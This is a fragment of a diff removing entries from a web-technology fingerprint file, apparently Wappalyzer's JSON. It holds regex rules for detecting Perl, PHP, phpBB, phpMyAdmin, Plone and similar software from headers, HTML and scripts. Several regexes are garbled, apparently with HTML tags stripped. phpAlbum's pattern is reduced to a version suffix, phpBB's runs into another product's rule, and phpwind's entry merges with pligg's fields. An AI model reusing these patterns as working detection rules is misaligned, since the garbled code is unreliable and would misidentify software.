}, - "html": "<[^>]+class=\"perc-region\"" - }, - "PerfSONAR-PS": { - "website": "psps.perfsonar.net", - "cats": [ 19 ], - "headers": { "User-agent": "perfSONAR-PS/?([\\d\\.]+)?\\;version:\\1" } - }, - "Perl": { - "website": "perl.org", - "cats": [ 27 ], - "headers": { "Server": "\\bPerl\\b(?: ?/?v?([\\d.]+))?\\;version:\\1" }, - "url": "\\.pl(?:$|\\?)" - }, - "Petrojs": { - "website": "petrojs.thepetronics.com", - "cats": [ 12 ], - "script": [ "petrojs(?:\\-|\\.)([\\d.]*\\d)[^/]*\\.js\\;version:\\1", "(?:/([\\d.]+)/)?petrojs(?:\\.min)?\\.js\\;version:\\1" ], - "env": "^petrojs$" - }, - "Phaser": { - "website": "phaser.io", - "cats": [ 12 ], - "env": "Phaser" - }, - "PHP": { - "website": "php.net", - "cats": [ 27 ], - "headers": { "Server": "php/?([\\d.]+)?\\;confidence:40\\;version:\\1", "X-Powered-By": "php/?([\\d.]+)?\\;confidence:40\\;version:\\1", "Set-Cookie": "PHPSESSID" }, - "url": "\\.php(?:$|\\?)" - }, - "phpAlbum": { - "website": "phpalbum.net", - "cats": [ 7 ], - "html": "\\;version:\\1", - "implies": "PHP" - }, - "phpBB": { - "website": "phpbb.com", - "cats": [ 2 ], - "meta": { "copyright": "phpBB Group" }, - "html": "(?:Powered by ]+phpbb|]+phpbb[^>]+class=\\.copyright|\\tphpBB style name|<[^>]+styles/(?:sub|pro)silver/theme|]+i_icon_mini|
]+php-fusion", - "implies": "PHP" - }, - "phpMyAdmin": { - "website": "www.phpmyadmin.net", - "cats": [ 3 ], - "html": "(?: \\| phpMyAdmin ([\\d.]+)<\\/title>|PMA_sendHeaderLocation\\(|]*href=\"[^\"]*phpmyadmin\\.css\\.php)\\;version:\\1", - "env": "^pma_absolute_uri$", - "implies": [ "PHP", "MySQL" ] - }, - "PHP-Nuke": { - "website": "phpnuke.org", - "cats": [ 2 ], - "meta": { "generator": "PHP-Nuke" }, - "html": "<[^>]+Powered by PHP-Nuke", - "implies": "PHP" - }, - "phpPgAdmin": { - "website": "phppgadmin.sourceforge.net", - "cats": [ 3 ], - "html": "(?:phpPgAdmin|phpPgAdmin)", - "implies": "PHP" - }, - "phpSQLiteCMS": { - "website": "phpsqlitecms.net", - "cats": [ 1 ], - "meta": { "generator": "^phpSQLiteCMS(?: (.+))?$\\;version:\\1" }, - "implies": [ "PHP", "SQLite\\;confidence:50" ] - }, - "phpwind": { - "website": "www.phpwind.net", - "cats": [ 1, 2 ], - "meta": { "generator": "^phpwind" }, - "html": "Powered by ]+id=\"xvotes-0", - "env": "^pligg_" - }, - "Plone": { - "website": "plone.org", - "cats": [ 1 ], - "meta": { "generator": "Plone" }, - "implies": "Python" - }, - "Plura": { - "website": "www.pluraprocessing.com", - "cats": [ 19 ], - "html": "